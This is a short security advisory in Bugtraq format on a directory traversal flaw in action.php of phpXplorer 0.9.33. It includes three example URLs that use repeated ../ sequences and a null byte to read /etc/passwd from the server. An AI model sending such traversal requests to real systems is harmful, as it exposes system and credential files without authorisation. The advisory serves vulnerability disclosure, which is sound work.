phpXplorer Action.PHP Directory Traversal Vulnerability

Bugtraq ID:	16292
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Jan 16 2006 12:00AM
Updated:	Feb 07 2006 08:55PM
Credit:	[email protected] is credited with the discovery of this vulnerability.
Vulnerable:	phpXplorer phpXplorer 0.9.33
Not Vulnerable:

phpXplorer Action.PHP Directory Traversal Vulnerability

phpXplorer is prone to a directory traversal vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to retrieve arbitrary files from the vulnerable system in the context of the Web server process. Information obtained may aid in further attacks; other attacks are also possible.

Version 0.9.33 is vulnerable; other versions may also be affected.

phpXplorer Action.PHP Directory Traversal Vulnerability

No exploit is required.

Example URI have been provided:

http://www.example.com/folder/system/action.php?sShare=guest&sAction=
../../../../../../../../../../../../etc/passwd%00

http://www.example.com/phpXplorer/system/action.php?sShare=guest&sAction=
../../../../../../../../../../../../etc/passwd%00

http://www.example.com/phpXplorer/system/action.php?sShare=guest&sAction=
../../../../../../../../../../../../etc/passwd%00

phpXplorer Action.PHP Directory Traversal Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

phpXplorer Action.PHP Directory Traversal Vulnerability

References:

• Directory traversal in phpXplorer (Oriol Torrent Santiago)
  
• phpXplorer Web Site (phpXplorer)
  
• phpXplorer file inclusion biyosecurity.be ([email protected])
  
• Directory traversal in phpXplorer (Oriol Torrent )